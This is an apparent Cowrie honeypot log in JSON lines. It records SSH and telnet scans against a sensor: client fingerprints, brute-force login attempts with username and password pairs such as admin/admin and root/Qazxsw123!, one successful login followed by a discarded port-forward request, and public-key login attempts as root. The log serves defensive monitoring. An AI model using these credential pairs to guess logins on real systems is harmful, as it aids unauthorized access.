{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:21.220255Z","src_ip":"87.251.64.176","session":"c159918ed4a6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:21.510820Z","src_ip":"87.251.64.176","session":"c159918ed4a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:21.609281Z","session":"c159918ed4a6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:21.709885Z","src_ip":"87.251.64.176","session":"c159918ed4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:21.809750Z","src_ip":"87.251.64.176","session":"c159918ed4a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":38640,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ab905de04eb","protocol":"ssh","message":"New connection: 103.118.29.129:38640 (10.17.0.5:22) [session: 6ab905de04eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:23.799043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:23.803589Z","src_ip":"103.118.29.129","session":"6ab905de04eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:24.047299Z","src_ip":"103.118.29.129","session":"6ab905de04eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qazxsw123!","message":"login attempt [root/Qazxsw123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:25.044286Z","src_ip":"103.118.29.129","session":"6ab905de04eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:29:26.294446Z","src_ip":"103.118.29.129","session":"6ab905de04eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":47010,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fd188590b43","protocol":"ssh","message":"New connection: 202.51.214.99:47010 (10.17.0.5:22) [session: 6fd188590b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:09.957368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:09.963838Z","src_ip":"202.51.214.99","session":"6fd188590b43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:10.213015Z","src_ip":"202.51.214.99","session":"6fd188590b43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0nig@000","message":"login attempt [root/k0nig@000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:11.239870Z","src_ip":"202.51.214.99","session":"6fd188590b43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:12.490755Z","src_ip":"202.51.214.99","session":"6fd188590b43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.96.162.92","src_port":40623,"dst_ip":"159.203.135.109","dst_port":23,"session":"860f42b18456","protocol":"telnet","message":"New connection: 123.96.162.92:40623 (159.203.135.109:23) [session: 860f42b18456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:16.540274Z"}
{"eventid":"cowrie.session.closed","duration":13.431767463684082,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:29.971873Z","src_ip":"123.96.162.92","session":"860f42b18456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":35648,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc858aa48b4e","protocol":"ssh","message":"New connection: 103.118.29.129:35648 (10.17.0.5:22) [session: bc858aa48b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:44.829151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:44.834889Z","src_ip":"103.118.29.129","session":"bc858aa48b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:45.072958Z","src_ip":"103.118.29.129","session":"bc858aa48b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test12!@","message":"login attempt [root/Test12!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:46.056941Z","src_ip":"103.118.29.129","session":"bc858aa48b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:30:47.298445Z","src_ip":"103.118.29.129","session":"bc858aa48b4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.187","src_port":49586,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ffcfeaf2028","protocol":"ssh","message":"New connection: 199.127.60.187:49586 (10.17.0.5:22) [session: 2ffcfeaf2028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:10.877564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:10.882048Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:10.921797Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:0d:d1:2d:e4:7d:57:bf:54:4d:aa:10:32:d8:6c:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBDgNwRSZEJELjFdzsXr6tsNkmRBztmP+ktzW6Rb6/sOy0CR00zDfr/ylDLXL1qKIJEuo4zAtweszuh7bAcuW6iEwVlIg3i1TK6IYr8EEiqmXe9cYlZMnyVX3K8XU4rFZiRXx7hAfRGdEGBg5avGM18dMmH4wwC6mAspdDg6GypsQZtB3z51ISTHpAF/dhk/TEPM0UxBPBbooYFM6N3n+S4NjC3Tj6yJ4Tq39GJIN2F2ODvjZeOOf4zJnaulUiSmBd2tMZtxaGj3UGSoTxw9EFckaLh08mLmijlhYsT2qUdcR2cAgeDfvhGte9NVFCFHWXzSfunLdJbXDh+mCPzbml","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:0d:d1:2d:e4:7d:57:bf:54:4d:aa:10:32:d8:6c:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.099247Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:0d:d1:2d:e4:7d:57:bf:54:4d:aa:10:32:d8:6c:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBDgNwRSZEJELjFdzsXr6tsNkmRBztmP+ktzW6Rb6/sOy0CR00zDfr/ylDLXL1qKIJEuo4zAtweszuh7bAcuW6iEwVlIg3i1TK6IYr8EEiqmXe9cYlZMnyVX3K8XU4rFZiRXx7hAfRGdEGBg5avGM18dMmH4wwC6mAspdDg6GypsQZtB3z51ISTHpAF/dhk/TEPM0UxBPBbooYFM6N3n+S4NjC3Tj6yJ4Tq39GJIN2F2ODvjZeOOf4zJnaulUiSmBd2tMZtxaGj3UGSoTxw9EFckaLh08mLmijlhYsT2qUdcR2cAgeDfvhGte9NVFCFHWXzSfunLdJbXDh+mCPzbml","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.103173Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:80:da:59:f9:70:52:38:de:2f:7c:e1:fe:7c:60:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7+D4U+ZXRPKfsicKsihH6oUNBTowptil8zGDIhYgSBtRYtR8/CIIOZ0bnvpQKGVlq3UE6gUUth3wPpsi4wJNEZaKYL07MEc/OP81H7rtLQepNseBYZeKA2riSJSzwLMG9KksH/+x6FNAI+/NVmm9WxbbQShKzrf+xw2DPihXrfOcu/2awv6/hZHFYNPiUknoobFrxJZ+Cj+rKc83Fpz/1CkgMt4tIij3e8U6EpWuR5NFFa2BxnG3BaC0ls/eyYj7t66C95TAhn6YtDBnFnZ3as+cEe+otqYm/DY13m7n0xirJ5rBuusohCjw3E9UCQcQRdoMY3TohiG5brg2dROR1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:80:da:59:f9:70:52:38:de:2f:7c:e1:fe:7c:60:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.144466Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:80:da:59:f9:70:52:38:de:2f:7c:e1:fe:7c:60:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7+D4U+ZXRPKfsicKsihH6oUNBTowptil8zGDIhYgSBtRYtR8/CIIOZ0bnvpQKGVlq3UE6gUUth3wPpsi4wJNEZaKYL07MEc/OP81H7rtLQepNseBYZeKA2riSJSzwLMG9KksH/+x6FNAI+/NVmm9WxbbQShKzrf+xw2DPihXrfOcu/2awv6/hZHFYNPiUknoobFrxJZ+Cj+rKc83Fpz/1CkgMt4tIij3e8U6EpWuR5NFFa2BxnG3BaC0ls/eyYj7t66C95TAhn6YtDBnFnZ3as+cEe+otqYm/DY13m7n0xirJ5rBuusohCjw3E9UCQcQRdoMY3TohiG5brg2dROR1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.147896Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:ec:9f:f5:eb:48:e1:f9:14:41:6b:47:a3:e5:6e:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAujn9DR6mEF67yUbJW7e2wtrRaiDuhq70/2GxDViM0VkYlZglXADtMcjF8xf7SF4TbnFRerdrLFLaVQQuBkmFXN9+6hivvjXcl0Iwgli1DvHxnt1695UMjoqEpKugGGQeJEmApeqPWP/AHotrjQvcLN22qVwsDcv2TV8rrQTiI01WbXgIYbm2sEBpI5XmoLpSzHdIEDkgGnQTZLVZUEy1GxCeDKls+v9Qh/91dvP6XMSAqnKQoiIBjkL7oTtztDohy+Vy0aNfIn47KczHdAGB9juz/kTlIg3Ipp7BJoK609d0QRZGZ7zFFzZ/ohjjeSTvpxKIwizIjNDI+UwiKhBHvw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:ec:9f:f5:eb:48:e1:f9:14:41:6b:47:a3:e5:6e:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.187666Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:ec:9f:f5:eb:48:e1:f9:14:41:6b:47:a3:e5:6e:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAujn9DR6mEF67yUbJW7e2wtrRaiDuhq70/2GxDViM0VkYlZglXADtMcjF8xf7SF4TbnFRerdrLFLaVQQuBkmFXN9+6hivvjXcl0Iwgli1DvHxnt1695UMjoqEpKugGGQeJEmApeqPWP/AHotrjQvcLN22qVwsDcv2TV8rrQTiI01WbXgIYbm2sEBpI5XmoLpSzHdIEDkgGnQTZLVZUEy1GxCeDKls+v9Qh/91dvP6XMSAqnKQoiIBjkL7oTtztDohy+Vy0aNfIn47KczHdAGB9juz/kTlIg3Ipp7BJoK609d0QRZGZ7zFFzZ/ohjjeSTvpxKIwizIjNDI+UwiKhBHvw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.191759Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:27:e7:3b:e7:ee:59:3e:2a:f8:19:96:0e:fb:ff:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVTz243shaCc36Q8cjqqOot8k/KX7jXO0+LKKkeorS2D4ggNpePprALFw7PMxMZyd/LNQ9/0stf6TK3z31v4ZYaZQur7AIVs1TKo5ZHOrUViojNOFVb9LoqdHtQZaHJShvTG+97K/If+p2HtlHHNOa6mzypii+Y0Q/FMD4WQvONPQ3a9E4JubktMMtk2+/Qis5Cj35ijJF5jEyNYJ/WEJzSiHjPi/Bvt8ilyd0EGn5OZ9ziqoTRmLdnbOdX3VVduSEfAP1UOV6dxwB4I9W22ZApZn+u1u6iQ581e2w4HQ2pUjoChLIbqmbkaOUs+gyD6kMY6L2LjOf9tSESN4xMVx+h0v3+yWjMrSi3XMtgtUpkdGWeLsNCadu15amVsrEtlOMonL75cDW+I/gry22xCxKWxEVDRaM7Qvi9RBDhjzcWEHHHq9e41gPcMaTBgfBe333brW+bxSWYWoDFBStprVAsEcXU8sIQxhYMWBwuEB2gyN/L74dO3veVedv63XBf3M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:27:e7:3b:e7:ee:59:3e:2a:f8:19:96:0e:fb:ff:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.232408Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:27:e7:3b:e7:ee:59:3e:2a:f8:19:96:0e:fb:ff:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVTz243shaCc36Q8cjqqOot8k/KX7jXO0+LKKkeorS2D4ggNpePprALFw7PMxMZyd/LNQ9/0stf6TK3z31v4ZYaZQur7AIVs1TKo5ZHOrUViojNOFVb9LoqdHtQZaHJShvTG+97K/If+p2HtlHHNOa6mzypii+Y0Q/FMD4WQvONPQ3a9E4JubktMMtk2+/Qis5Cj35ijJF5jEyNYJ/WEJzSiHjPi/Bvt8ilyd0EGn5OZ9ziqoTRmLdnbOdX3VVduSEfAP1UOV6dxwB4I9W22ZApZn+u1u6iQ581e2w4HQ2pUjoChLIbqmbkaOUs+gyD6kMY6L2LjOf9tSESN4xMVx+h0v3+yWjMrSi3XMtgtUpkdGWeLsNCadu15amVsrEtlOMonL75cDW+I/gry22xCxKWxEVDRaM7Qvi9RBDhjzcWEHHHq9e41gPcMaTBgfBe333brW+bxSWYWoDFBStprVAsEcXU8sIQxhYMWBwuEB2gyN/L74dO3veVedv63XBf3M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:32:11.236782Z","src_ip":"199.127.60.187","session":"2ffcfeaf2028","protocol":"ssh"}
